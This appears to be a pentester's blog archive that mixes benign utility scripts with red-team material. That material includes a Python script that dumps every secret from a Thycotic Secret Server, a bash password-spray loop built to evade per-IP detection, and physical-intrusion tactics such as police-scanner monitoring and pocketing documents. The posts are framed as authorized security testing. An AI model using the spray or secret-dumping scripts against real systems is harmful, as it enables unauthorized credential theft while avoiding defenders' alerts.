Showing posts with label Redteam. Show all posts
Showing posts with label Redteam. Show all posts

Wednesday, February 26, 2020

Simple DLL To Pop A CMD Shell

Below is some sample code to pop a cmd shell upon execution of the DLL. Pretty great for testing various code injection techniques. Compile it as a DLL project in Visual Studio to generate the .dll file.

Wednesday, February 12, 2020

A Better, More Modern, HTML Link Grabber

Lots of examples of HTML <a> link grabbers simply parse the source code of the page for a links and output that. I'm sure I don't need to say that technique is antiquated and doesn't really work that well with modern web applications and front-end frameworks. Everybody and their mother just loves modifying HTML using javascript. The old method would miss that stuff badly.

Take the following HTML file for example:

<html>
    <head>
        <body>
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>
        <script>
            var jslink = document.getElementById("jsalink")
            jslink.href = "http://example.com/js_a_link"
        </script>
        </body>
    </head>
</html>

There are obviously two A links there, but one of them is being modified by JS. This dynamic modification of elements is extremely common today. So what happens if you use the old method of getting A links?

$ curl localhost:8000/jsalink.html 2>/dev/null | grep '<a'
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>

Well that obviously didn't work... How about using the BeautifulSoup python module?

$ python3 atu-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://localhost:8000/placeholder

Also no...The best way i've found to do it is to actually have a browser engine parse the entire file and execute the JS, and then grab all the a links by issuing a command to the JS interpreter. I wrote the following script to do exactly that. It uses the Chrome browser in headless mode to perform all the parsing, and then via selenium, issues a JS statement to grab all the A links:


Running this results in:

$ python3 selenium-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://example.com/js_a_link

That's more like it.

PS. This is still not "perfect" since certain frameworks will change content via certain event handlers. This handles some (e.g. DOMContentLoaded), but not others (e.g. onclick events). You kinda just have to deal with that. Making a script to identify changes based on all event handlers would likely be extremely risky.

Thursday, December 12, 2019

Pillage Thycotic Secret Server

If you want to grab all the secrets from Thycotic's secret server, use the SOAP API to pull them out. Assuming you have valid domain creds, run the following script.


#!/usr/bin/env python3
from zeep import Client

#Connect to the soap api endpoint
client = Client("https://secretserver.example.com/SecretServer/webservices/SSWebservice.asmx?wsdl")
#grab your auth token for all your requests
token = client.service.Authenticate("user_here", "pass_here", "", "domain_here")
#grab all secrets for the user
searchSecret = client.service.SearchSecrets(token.Token, "*")
#output the secret values for each secret
for secret in searchSecret.SecretSummaries.SecretSummary:
     print(client.service.GetSecret(token.Token, secret['SecretId']))

Tuesday, December 10, 2019

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:

username_file=/root/users.txt
targets_file=/root/windows-hosts.txt
how_deep_to_go=2000

for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

Wednesday, November 28, 2018

Keep Track Of Your Source IP

Pentesters/RedTeamers often need to track their outgoing IPs for Blue Teams to be able to correlate activity and know if an attack is shceduled activity or something else.

Below is a script that will reach out, grab your public IP, and if it's different from the last entry, enter it into a log file. I use crontab to execute it at the top of every minute.
#!/bin/bash
# This script records changes to your external IP to a log file with timestamp
# Install:
# crontab -e
# * * * * * /Users/MYUSERNAME/WHEREVER/iplog.sh
# And then change the iplogfileloc below to where you want the logfile to save.

# You should have an iplog.txt with contents like this:
# $ cat iplog.txt
# Wed Nov 28 12:56:40 MST 2018 -- 177.243.11.21
# Wed Nov 28 13:00:07 MST 2018 -- 17.18.24.6

# Change the below location to what you want
iplogfileloc="/Users/MYUSERORWHATEVERHERE/iplog.txt"

myip=$(curl httpbin.org/ip 2> /dev/null| grep origin | awk '{print $2}' | tr -d '"')

#create file if it doesnt exist
[ -f ${iplogfileloc} ] || touch ${iplogfileloc}

if ! cat ${iplogfileloc} | tail -1 | grep ${myip} > /dev/null ; then
    # if your IP has changed, add it to the file
    echo $(date) '--' ${myip} >> ${iplogfileloc}
fi

Now you can change IPs via VPN or whatever and always be able to refer to it later. The only edge case is if you change IPs multiple times within one minute, but that should be rare and accounted for in sprays.

Monday, November 26, 2018

Ways to Enumerate Users

A couple of methods to identify usernames that can then be used in other areas of a pentest are below. I added as many as I could think of. I limited it to ones mostly seen from the public Internet.

Wednesday, August 1, 2018

Finding Interesting Files Using Statistical Analysis

I noticed a pattern when scrounging for target data on pentests. Most of the times in which I get valuable data (test creds/log data/unencrypted logs/etc) they are often in files that are in some way different than those around them. Sometimes its their filename, like when you have 400 files named "NightlyLogDATE" and you see a "NightlyLogDATE.bak". It also tends to happen with file sizes. You'll have the same directory and almost every file is around 400-600KB and a couple will be megabytes big or only a couple KB.

These files are "interesting" to me because they differ in some way. These are the outliers. Sometimes they will be temporary backup files where a tech needed to test credit card processing with encryption turned off, or maybe some error pumped traceback/debug output to an otherwise normal file.

I decided to scrounge around online to stitch together a script that will report these outlier files.

The following script will look in the target directory, calculate the median absolute deviation, compare it against a threshold and return the filenames for you to prioritize pillaging.

It's fairly basic so I'm happy to accept any code donations :D


Thursday, November 3, 2016

OpenVPN Client Disconnect Notification

So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.

OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:

--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.

So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).

This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).

No Twilio?

Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMS


Steps:


  1. Configure OpenVPN server to allow user-created scripts to run
  2. Drop the python SMS scripts in /etc/openvpn/
  3. Test/verify the connection

Configure OpenVPN:

Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:

script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py

and then do a "service openvpn restart" to reload the config


Drop Python SMS scripts:

With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:

client-disconnect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))

client-connect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))

You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.


Test the connection:

You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:

cd /etc/openvpn
bash
export common_name=asdf
export ifconfig_pool_remote_ip=qwer
./client-connect.py


Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.

Caveat:
     The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.

TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.

Thursday, July 17, 2014

Physical Pentest Tactic: Be Modest With The Car

This may seem like it's obvious to some people but i've heard some stupid stories.

I'm going to make this simple. When renting a car for your physical pentest, don't get the mustang. Don't get any car that is going to attract attention. Get a bland car in a bland color. Something like a gray Toyota Camry or boring SUV.

Why get an SUV if you are only one person? Dumpster diving. I cant tell you how much more crap an SUV can hold than a midsize car.

I once had to go back to the client site 3 times to get as much stuff as the SUV could hold on another site. You never want to do that. You want to get in, get what you need, and get out. The longer you stay in a particular location, the higher your chances of getting caught.

Therefore, get a bland, boring looking SUV if you can. Otherwise get a midsize car. Avoid compacts if you are planning on doing any dumpster diving.

EDIT:

Another aspect of choosing a car that is actually very important for night operations - Make sure all the lights can be turned off quickly and manually.

Few things are more annoying than pulling up to a spot and turning off the car only to have the lights linger on for a minute or so while you awkwardly stare off waiting for them to switch off.

The best option would be the ability to have all the lights off (interior and exterior) while the car is still on. But for most cases, its better to leave the car engine off.

Physical Pentest App - Scanner Radio

Police scanners can get expensive. Especially since today most police stations are moving over to digital (trunked) communications. I had bought a Yaesu VX8DR so i wouldnt have to worry about missing a frequency. Well it turns out it doesnt do trunking comms so i was fucked... Well, not so much.

A free alternative, although time delayed is using an android app called "Scanner Radio". Most locations in America have a entry for their county or city or whatever for dispatch.

I love having it in my ear while a case a place or do car recon. It's pretty simple, if you hear about a report for a suspicious vehicle in your area, move to another location.

I use the app whenever there is trunked comms for the area my target is in. There is however a delay, and that delay is dependent on what location you are in. I know in Chicago its about a 60 second delay between what happens on the radio and what comes through the app. You have to remember that the audio has to be received by the equipment, transmitted to the servers, relay over the cell network to your phone. That can take a bit.

The best solution is a realtime radio. The second best is the app. It's better than nothing.

Physical Pentest Tactic: Try Everything

It takes a certain kind of person to do a physical pentest well. They have to have balls. They have to be willing to take risks normal people wouldn't take. And most importantly, that risk taking should be accompanied by a level of curiosity. The thought of "I wonder whats behind this door" or "I wonder where these stairs go" are a huge portion of discovering potential vulnerabilities.

We all like to think that a "properly done" pentest includes a holywood-esque layout of the building with every exit and entry points with real time updates of the guard patrols and all that fancy movie crap. The reality is that is extremely rare. The recon you do beforehand can only give you a certain picture of whats happening.

1. Do they have guards?
2. Do they have guards all night long?
3. Do they guards patrol? outside? regular intervals?
4. Are there guard changes? what time?
5. IS THERE A CLEANING CREW? do they exit the building often to throw out trash?
6. etc, etc.

One of the physical tests I was on we were lucky enough to have multiple people (usually they are all solo). After doing internal recon and figuring out the security system and how it works, and where it was placed and all that stuff we decided to check out the place more up close and personal.

We determine that the security system in place supposed to work based off of sounds. If it detected the sound of someone walking around or breaking the window or something like that, the audio was supposed to be pumped back to the monitoring station to determine if it was an intruder or something accidentally hit the window. The whole system was created to reduce false positives and having the police called out when it was actually nothing.

Well we wanted to test how sensitive the system was just be fore we hightailed it out. So as we were done checking out the rest of the building, we were all in the SUV and drove up to the last door to see if the alarm would trip if we rattled the door. My friend got out of the car and firmly pushed on the door. Me with my binoculars was watching the LEDs on the alarm system for a change from green to blinking red, meaning it went off. Well, after the push the lights didnt go off. We dont him to really go at it, shake the door hard. He pushed really hard, and then pulled really hard to do the motion over and over again and holy shit. THE DOOR OPENED. That door, the door we saved for last was the one door in the whole place that was unlocked completely. The hilariousness and elation faded quickly as I saw the LED go from green to blinking red. From reading the alarm system documentation we had about 30 seconds to GTFO before the cops were called.

After a bout of screaming because my friend thought we told him to go inside when in fact we told him to get inside the car (lmfao, that was funny beyond belief). We got in the car and got out of the area. Found a dark parking lot to park that allowed us to see the target from across the street. We waiting, scrunched down in our seats. It's amazing how many cars are out driving around at 3am. After about 6 minutes i hear on the police radio that there was a burglar alarm set off at the location. Less than a minute later the cop shows up checking out the place. Then another cops shows up.

The moral of the story: never assume a door is locked. CHECK EVERYTHING.

Physical Pentest Gear: The Clipboard

I've done several physical pentests in the past (and current) and one piece of gear that never ceases to amaze me on how useful it is is the clipboard. I'm not talking about your grandfather's clipboard. I'm talking about today's modern clipboard. It has wifi for auto note taking and a camera to transmit pictures. Ok i'm just messing with you it doesn't have all that. But it still is incredibly useful.

I was doing a physical one day and was on the social engineering portion of the test, AKA: me walking around the office trying to get sensitive documents. I came across an empty cubicle that was being used to store a bunch of bankers boxes (think stereotypical cardboard boxes with the handle holes and tops). Well, I peeked inside one of the boxes and giggled at what I found. Thousands of documents with handwritten credit card info dating back several years. That was in one box. One box of about 2 dozen.

I took a couple snapshots with my camera but couldn't get a good photo because of the lighting/not enough time. So I grabbed a couple documents (they were old, just as a PoC) and took a picture of the pile of boxes. The clipboard I was carrying was perfect to quickly stash these papers:

http://www.amazon.com/Saunders-SlimMate-Plastic-Clipboard-00558/dp/B00290OG6I/ref=sr_1_3

Any clipboard with a similar compartment will do. You can stash a surprising amount of documents in those things. Waaaay more than you need to prove your point.

Once I was back at the hotel I took much better shots, included it in the report and when everything was done and over, I securely mailed the documents back to my point of contact. That "Sensitive Documents Not Stores Securely" finding was a small finding in an otherwise juicy report and that clipboard made my life way easier during the entire SE portion of the test.

There is also the added benefit of having a clipboard in your hand subconsciously insinuates to other people that you are a person of authority, a decision maker, someone that should probably be treated a little better than any old average joe. That thought tends to arise from two different personalities.
1. The person wants to suck up to you (the teachers pet syndrome)
2. I don't want to get in trouble (the teachers ruler syndrome)

There is a third personality type who is tends to hate authority figures but you can usually defuse those types of people by being very confident and most importantly - very polite/kind. Kindness in authority figures tends to be fairly disarming to the vehemently authority-opposed.

So there you go, just like an EDC (every day carry), every object in your blackbag should have multiple uses. I'd suggest adding a compartment clipboard to yours asap.

It may seem like a small and insignificant addition at first, but I guarantee that you will be happy you bought it.